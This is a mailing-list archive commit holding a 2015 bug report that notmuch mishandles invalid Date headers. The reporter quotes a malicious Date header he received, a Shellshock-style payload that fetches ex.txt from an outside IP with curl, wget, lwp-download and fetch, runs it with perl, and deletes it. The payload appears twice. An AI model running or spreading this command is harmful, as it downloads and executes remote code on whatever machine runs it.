bug: notmuch cannot handle invalid Date fields
authorJohannes Schauer <j.schauer@email.de>
Wed, 22 Apr 2015 06:56:30 +0000 (08:56 +0200)
committerW. Trevor King <wking@tremily.us>
Sat, 20 Aug 2016 21:48:51 +0000 (14:48 -0700)
56/962a12676916307272c0800056edc53c1f350d [new file with mode: 0644]

diff --git a/56/962a12676916307272c0800056edc53c1f350d b/56/962a12676916307272c0800056edc53c1f350d
new file mode 100644 (file)
index 0000000..12d13a7
--- /dev/null
@@ -0,0 +1,118 @@
+Return-Path: <j.schauer@email.de>\r
+X-Original-To: notmuch@notmuchmail.org\r
+Delivered-To: notmuch@notmuchmail.org\r
+Received: from localhost (localhost [127.0.0.1])\r
+ by arlo.cworth.org (Postfix) with ESMTP id A27E26DE1A45\r
+ for <notmuch@notmuchmail.org>; Wed, 22 Apr 2015 00:01:53 -0700 (PDT)\r
+X-Virus-Scanned: Debian amavisd-new at cworth.org\r
+X-Spam-Flag: NO\r
+X-Spam-Score: -0.02\r
+X-Spam-Level: \r
+X-Spam-Status: No, score=-0.02 tagged_above=-999 required=5\r
+ tests=[NORMAL_HTTP_TO_IP=0.001, RCVD_IN_DNSWL_NONE=-0.0001,\r
+ RCVD_IN_MSPIKE_H3=-0.01, RCVD_IN_MSPIKE_WL=-0.01, SPF_PASS=-0.001]\r
+ autolearn=disabled\r
+Received: from arlo.cworth.org ([127.0.0.1])\r
+ by localhost (arlo.cworth.org [127.0.0.1]) (amavisd-new, port 10024)\r
+ with ESMTP id 3FTOwRj7Wdw9 for <notmuch@notmuchmail.org>;\r
+ Wed, 22 Apr 2015 00:01:51 -0700 (PDT)\r
+X-Greylist: delayed 308 seconds by postgrey-1.35 at arlo;\r
+ Wed, 22 Apr 2015 00:01:50 PDT\r
+Received: from mout.web.de (mout.web.de [212.227.17.11])\r
+ by arlo.cworth.org (Postfix) with ESMTPS id C114D6DE1A3F\r
+ for <notmuch@notmuchmail.org>; Wed, 22 Apr 2015 00:01:50 -0700 (PDT)\r
+Received: from localhost ([46.5.19.64]) by smtp.web.de (mrweb101) with ESMTPSA\r
+ (Nemesis) id 0LgpVS-1Z5LYU3m4M-00oEBC for <notmuch@notmuchmail.org>;\r
+ Wed, 22 Apr 2015 08:56:33 +0200\r
+Content-Type: multipart/signed; protocol="application/pgp-signature";\r
+ micalg="pgp-sha256"; boundary="===============5658821246841805018=="\r
+MIME-Version: 1.0\r
+Content-Disposition: inline\r
+To: notmuch@notmuchmail.org\r
+Message-ID: <20150422065630.6330.90536@hoothoot>\r
+From: Johannes Schauer <j.schauer@email.de>\r
+User-Agent: alot/0.3.6\r
+Subject: bug: notmuch cannot handle invalid Date fields\r
+Date: Wed, 22 Apr 2015 08:56:30 +0200\r
+X-Provags-ID: V03:K0:tcPLe5dpOyRODUpZPabtfWlovT+vxq852X0ipsUF8tYQiKyNSoF\r
+ Kd3CQa8J6epu/hqvitdj4zt4dBMOOJuvbTHupbyivcthK+d2hOshGZXlupVC0aP0WDNYSqg\r
+ 9xKgBgnh8rXqfUqeUYu/O8FIHkFWn1FL6aD/wmsRanl9XTnQT9zl6c5OBdMgjRLYbAf0rLj\r
+ 9uv8vNSti857ulTGYNg8w==\r
+X-UI-Out-Filterresults: notjunk:1;\r
+X-Mailman-Approved-At: Wed, 22 Apr 2015 05:08:25 -0700\r
+X-BeenThere: notmuch@notmuchmail.org\r
+X-Mailman-Version: 2.1.18\r
+Precedence: list\r
+List-Id: "Use and development of the notmuch mail system."\r
+ <notmuch.notmuchmail.org>\r
+List-Unsubscribe: <http://notmuchmail.org/mailman/options/notmuch>,\r
+ <mailto:notmuch-request@notmuchmail.org?subject=unsubscribe>\r
+List-Archive: <http://notmuchmail.org/pipermail/notmuch/>\r
+List-Post: <mailto:notmuch@notmuchmail.org>\r
+List-Help: <mailto:notmuch-request@notmuchmail.org?subject=help>\r
+List-Subscribe: <http://notmuchmail.org/mailman/listinfo/notmuch>,\r
+ <mailto:notmuch-request@notmuchmail.org?subject=subscribe>\r
+X-List-Received-Date: Wed, 22 Apr 2015 07:01:53 -0000\r
+\r
+--===============5658821246841805018==\r
+Content-Type: text/plain; charset="utf-8"\r
+MIME-Version: 1.0\r
+Content-Transfer-Encoding: quoted-printable\r
+\r
+Hi,\r
+\r
+I recently received an email with the following date field (the value of all\r
+other headers is the same):\r
+\r
+Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-dow=\r
+nload http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254=\r
+.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;\r
+\r
+When doing `notmuch search lwp-download` I get:\r
+\r
+thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tm=\r
+p ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt=\r
+;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr =\r
+ex.*' &; (inbox unread)\r
+\r
+You can see that the date is 1899-12-31 which is wrong.\r
+\r
+This is annoying because the python module datetime which is for example us=\r
+ed\r
+by the notmuch client alot cannot handle dates before the year 1900 and will\r
+thus never show this email in its thread view but instead display an except=\r
+ion\r
+every time the view is refreshed.\r
+\r
+It would be great if an invalid date could either somehow default to a nil\r
+value or be a date that is 1900 or later.\r
+\r
+Thanks!\r
+\r
+cheers, josch\r
+\r
+--===============5658821246841805018==\r
+MIME-Version: 1.0\r
+Content-Transfer-Encoding: 7bit\r
+Content-Description: signature\r
+Content-Type: application/pgp-signature; name="signature.asc"; charset="us-ascii"\r
+\r
+-----BEGIN PGP SIGNATURE-----\r
+Version: GnuPG v2\r
+\r
+iQIcBAABCAAGBQJVN0YeAAoJEPLLpcePvYPhSOAQAIshVq9O3v5N2jjiE9tKcuqC\r
+mZ1rm6X2jZm/kbWFX1NSnQ5qI7Tyuy0S549k+/n3i3FTGxbYIyAaqJ5wSuTaqCNa\r
+nyRe4LNKT2mOq7RUt8XsD1fmUm8RIoxbGYqACsaugNP51K6IZCkwWxAtCj6u362c\r
+4sTtOnsTd5AcDyWDX1ErX0nC/Jt7aWXIeBJm9P+XodKX+Vr1RFVxT83pkx7QOoQ4\r
+aQMOdoQaVbejCN9bi93R/z8UWXCGxaC12FMNUCGPGGJHZQ4VUzNCJ303wQqb+4O7\r
+6qKc6bzJg4YEbLgsr8oeWh0bkFjPiSdExFiS2uUYmaaM3aH5Y1ndayBhOXV9UrLS\r
+KSKrdJbUnqKaeMpCE4ACwL6MKO4tBek4hYwFETaP3fmhjm1uK2Bu6FgDM+3XTL9n\r
+3kMBoQlkoA1EdaT3JQK+irBCnEoLzy897vqtf6YkgoKHbX4k2Fx9Bt2XUa7tygv3\r
+1Ez6pRv9t8kHsde+ZU7xrQlJG5JfNDT43zP07VJUV10ctU2ZCt8cu3fMgrCPsK1m\r
+rx3RcnTNg2nbIq5fHhVZTk40s/3dA7yJua6i/nwaQaY7yX/AhHLGMU97krlkB83n\r
+xuYeuuKLj5Nv8QUTZ+juMVsEP6ukeM0ChtVIbMqP47/kuUvGqvYcn0Ii64HjF1jQ\r
+AjnMU1UmJfwH/+lpFnvI\r
+=dT8/\r
+-----END PGP SIGNATURE-----\r
+\r
+--===============5658821246841805018==--\r